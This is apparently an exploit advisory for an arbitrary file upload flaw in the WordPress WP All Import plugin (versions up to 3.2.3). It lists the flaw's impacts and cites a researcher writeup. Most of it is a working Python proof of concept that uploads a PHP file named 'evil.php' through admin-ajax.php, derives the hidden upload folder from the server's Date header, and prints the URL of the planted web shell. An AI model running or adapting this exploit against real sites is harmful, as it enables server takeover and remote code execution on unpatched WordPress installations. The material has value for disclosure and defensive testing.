WordPress WP All 3.2.3 Shell Upload

`------------------------------------------------------------------------------  
WordPress WP All Import Plugin RCE  
------------------------------------------------------------------------------  
  
[-] Vulnerability Author:  
  
James Golovich ( @Pritect )  
  
[-] Exploit Author  
  
Evex ( @Evex_1337 )  
  
[-] Plugin Link:  
  
https://wordpress.org/plugins/wp-all-import/  
  
[-] Affected Version:  
  
Version <= 3.2.3  
  
  
[-] Vulnerability Description:  
  
  
Retrieve any file on the system that ends in .txt  
Retrieve any file on the system that ends in .html  
Retrieve any value from the postmeta table  
Upload arbitrary files to system  
  
  
Reference:  
http://www.pritect.net/blog/wp-all-import-3-2-3-pro-4-0-3-vulnerability-breakdown  
  
  
[-] Proof of Concept:  
  
#needs to run: php - python with requests lib installed  
https://pypi.python.org/pypi/requests  
import requests,os  
site="localhost/x/wordpress"  
file_to_upload = 'evex.php'  
up_req = requests.post('http://  
'+site+'/wp-admin/admin-ajax.php?page=pmxi-admin-settings&action=upload&name=evil.php',data=open(file_to_upload,'rb').read(),timeout=20)  
up_dir = os.popen('php -r "print  
md5(strtotime(\''+up_req.headers['date']+'\'));"').read()  
print "http://  
"+site+"/wp-content/uploads/wpallimport/uploads/"+up_dir+"/evil.php"  
`